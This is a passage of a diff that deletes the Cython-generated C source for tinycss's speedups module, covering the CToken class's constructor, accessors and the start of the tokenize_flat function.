__pyx_v_type_ = values[0]; - __pyx_v_css_value = values[1]; - __pyx_v_value = values[2]; - __pyx_v_unit = values[3]; - __pyx_v_line = values[4]; - __pyx_v_column = values[5]; - } - goto __pyx_L4_argument_unpacking_done; - __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - __pyx_L3_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __Pyx_RefNannyFinishContext(); - return -1; - __pyx_L4_argument_unpacking_done:; - - /* "tinycss/speedups.pyx":36 - * - * def __init__(self, type_, css_value, value, unit, line, column): - * self.type = type_ # <<<<<<<<<<<<<< - * self._as_css = css_value - * self.value = value - */ - __Pyx_INCREF(__pyx_v_type_); - __Pyx_GIVEREF(__pyx_v_type_); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type = __pyx_v_type_; - - /* "tinycss/speedups.pyx":37 - * def __init__(self, type_, css_value, value, unit, line, column): - * self.type = type_ - * self._as_css = css_value # <<<<<<<<<<<<<< - * self.value = value - * self.unit = unit - */ - __Pyx_INCREF(__pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css = __pyx_v_css_value; - - /* "tinycss/speedups.pyx":38 - * self.type = type_ - * self._as_css = css_value - * self.value = value # <<<<<<<<<<<<<< - * self.unit = unit - * self.line = line - */ - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value = __pyx_v_value; - - /* "tinycss/speedups.pyx":39 - * self._as_css = css_value - * self.value = value - * self.unit = unit # <<<<<<<<<<<<<< - * self.line = line - * self.column = column - */ - __Pyx_INCREF(__pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit = __pyx_v_unit; - - /* "tinycss/speedups.pyx":40 - * self.value = value - * self.unit = unit - * self.line = line # <<<<<<<<<<<<<< - * self.column = column - * - */ - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_line); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 40; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->line = __pyx_t_1; - - /* "tinycss/speedups.pyx":41 - * self.unit = unit - * self.line = line - * self.column = column # <<<<<<<<<<<<<< - * - * def as_css(self): - */ - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_column); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 41; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->column = __pyx_t_1; - - __pyx_r = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = -1; - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":43 - * self.column = column - * - * def as_css(self): # <<<<<<<<<<<<<< - * """ - * Return as an Unicode string the CSS representation of the token, - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_1as_css(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/ -static char __pyx_doc_7tinycss_8speedups_6CToken_1as_css[] = "\n Return as an Unicode string the CSS representation of the token,\n as parsed in the source.\n "; -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_1as_css(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("as_css"); - - /* "tinycss/speedups.pyx":48 - * as parsed in the source. - * """ - * return self._as_css # <<<<<<<<<<<<<< - * - * def __repr__(self): - */ - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":50 - * return self._as_css - * - * def __repr__(self): # <<<<<<<<<<<<<< - * return ('' - * .format(self, self.unit or '')) - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_2__repr__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_2__repr__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - int __pyx_t_2; - PyObject *__pyx_t_3 = NULL; - PyObject *__pyx_t_4 = NULL; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__repr__"); - - /* "tinycss/speedups.pyx":51 - * - * def __repr__(self): - * return ('' # <<<<<<<<<<<<<< - * .format(self, self.unit or '')) - * - */ - __Pyx_XDECREF(__pyx_r); - - /* "tinycss/speedups.pyx":52 - * def __repr__(self): - * return ('' - * .format(self, self.unit or '')) # <<<<<<<<<<<<<< - * - * - */ - __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_kp_u_2), __pyx_n_s__format); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_IsTrue(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); if (unlikely(__pyx_t_2 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (!__pyx_t_2) { - __Pyx_INCREF(((PyObject *)__pyx_kp_u_3)); - __pyx_t_3 = __pyx_kp_u_3; - } else { - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __pyx_t_3 = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit; - } - __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_4)); - __Pyx_INCREF(__pyx_v_self); - PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_v_self); - __Pyx_GIVEREF(__pyx_v_self); - PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3); - __Pyx_GIVEREF(__pyx_t_3); - __pyx_t_3 = 0; - __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0; - __pyx_r = __pyx_t_3; - __pyx_t_3 = 0; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_3); - __Pyx_XDECREF(__pyx_t_4); - __Pyx_AddTraceback("tinycss.speedups.CToken.__repr__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":32 - * is_container = False - * - * cdef public object type, _as_css, value, unit # <<<<<<<<<<<<<< - * cdef public Py_ssize_t line, column - * - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4type___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4type___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_5value___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_5value___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":33 - * - * cdef public object type, _as_css, value, unit - * cdef public Py_ssize_t line, column # <<<<<<<<<<<<<< - * - * def __init__(self, type_, css_value, value, unit, line, column): - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4line___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4line___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __pyx_t_1 = PyInt_FromSsize_t(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->line); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_r = __pyx_t_1; - __pyx_t_1 = 0; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_AddTraceback("tinycss.speedups.CToken.line.__get__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4line_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4line_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - Py_ssize_t __pyx_t_1; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__set__"); - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_value); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->line = __pyx_t_1; - - __pyx_r = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.line.__set__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = -1; - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_6column___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_6column___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __pyx_t_1 = PyInt_FromSsize_t(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->column); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_r = __pyx_t_1; - __pyx_t_1 = 0; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_AddTraceback("tinycss.speedups.CToken.column.__get__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_6column_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_6column_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - Py_ssize_t __pyx_t_1; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__set__"); - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_value); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->column = __pyx_t_1; - - __pyx_r = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.column.__set__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = -1; - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":55 - * - * - * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< - * """ - * :param css_source: - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_tokenize_flat(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ -static char __pyx_doc_7tinycss_8speedups_tokenize_flat[] = "\n :param css_source:\n CSS as an unicode string\n :param ignore_comments:\n if true (the default) comments will not be included in the\n return value\n :return:\n An iterator of :class:`Token`\n\n "; -static PyMethodDef __pyx_mdef_7tinycss_8speedups_tokenize_flat = {__Pyx_NAMESTR("tokenize_flat"), (PyCFunction)__pyx_pf_7tinycss_8speedups_tokenize_flat, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(__pyx_doc_7tinycss_8speedups_tokenize_flat)}; -static PyObject *__pyx_pf_7tinycss_8speedups_tokenize_flat(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { - PyObject *__pyx_v_css_source = 0; - int __pyx_v_ignore_comments; - PyObject *__pyx_v_tokens_dispatch = NULL; - PyObject *__pyx_v_compiled_token_indexes = NULL; - PyObject *__pyx_v_compiled_tokens = NULL; - PyObject *__pyx_v_unicode_unescape = NULL; - PyObject *__pyx_v_newline_unescape = NULL; - PyObject *__pyx_v_simple_unescape = NULL; - PyObject *__pyx_v_find_newlines = NULL; - Py_ssize_t __pyx_v_BAD_COMMENT; - Py_ssize_t __pyx_v_BAD_STRING; - Py_ssize_t __pyx_v_PERCENTAGE; - Py_ssize_t __pyx_v_DIMENSION; - Py_ssize_t __pyx_v_ATKEYWORD; - Py_ssize_t __pyx_v_FUNCTION; - Py_ssize_t __pyx_v_COMMENT; - Py_ssize_t __pyx_v_NUMBER; - Py_ssize_t __pyx_v_STRING; - Py_ssize_t __pyx_v_IDENT; - Py_ssize_t __pyx_v_HASH; - Py_ssize_t __pyx_v_URI; - Py_ssize_t __pyx_v_DELIM; - Py_ssize_t __pyx_v_pos; - Py_ssize_t __pyx_v_line; - Py_ssize_t __pyx_v_column; - Py_ssize_t __pyx_v_source_len; - Py_ssize_t __pyx_v_n_tokens; - Py_ssize_t __pyx_v_length; - Py_ssize_t __pyx_v_next_pos; - Py_ssize_t __pyx_v_type_; - struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_token = 0; - PyObject *__pyx_v_tokens = NULL; - PyObject *__pyx_v_char = NULL; - PyObject *__pyx_v_type_name = NULL; - PyObject *__pyx_v_css_value = NULL; - PyObject *__pyx_v_codepoint = NULL; - PyObject *__pyx_v_regexp = NULL; - PyObject *__pyx_v_match = NULL; - PyObject *__pyx_v_unit = NULL; - PyObject *__pyx_v_value = NULL; - PyObject *__pyx_v_newlines = NULL; - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - Py_ssize_t __pyx_t_2; - int __pyx_t_3; - long __pyx_t_4; - PyObject *__pyx_t_5 = NULL; - PyObject *__pyx_t_6 = NULL; - PyObject *__pyx_t_7 = NULL; - PyObject *(*__pyx_t_8)(PyObject *); - PyObject *__pyx_t_9 = NULL; - PyObject *__pyx_t_10 = NULL; - PyObject *(*__pyx_t_11)(PyObject *); - Py_ssize_t __pyx_t_12; - int __pyx_t_13; - int __pyx_t_14; - double __pyx_t_15; - int __pyx_t_16; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__css_source,&__pyx_n_s__ignore_comments,0}; - __Pyx_RefNannySetupContext("tokenize_flat"); - __pyx_self = __pyx_self; - { - PyObject* values[2] = {0,0}; - if (unlikely(__pyx_kwds)) { - Py_ssize_t kw_args; - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - case 0: break; - default: goto __pyx_L5_argtuple_error; - } - kw_args = PyDict_Size(__pyx_kwds); - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 0: - values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__css_source); - if (likely(values[0])) kw_args--; - else goto __pyx_L5_argtuple_error; - case 1: - if (kw_args > 0) { - PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s__ignore_comments); - if (value) { values[1] = value; kw_args--; } - } - } - if (unlikely(kw_args > 0)) { - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, PyTuple_GET_SIZE(__pyx_args), "tokenize_flat") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - } else { - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - break; - default: goto __pyx_L5_argtuple_error; - } - } - __pyx_v_css_source = values[0]; - if (values[1]) { - __pyx_v_ignore_comments = __Pyx_PyInt_AsInt(values[1]); if (unlikely((__pyx_v_ignore_comments == (int)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } else { - __pyx_v_ignore_comments = ((int)1); - } - } - goto __pyx_L4_argument_unpacking_done; - __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("tokenize_flat", 0, 1, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = 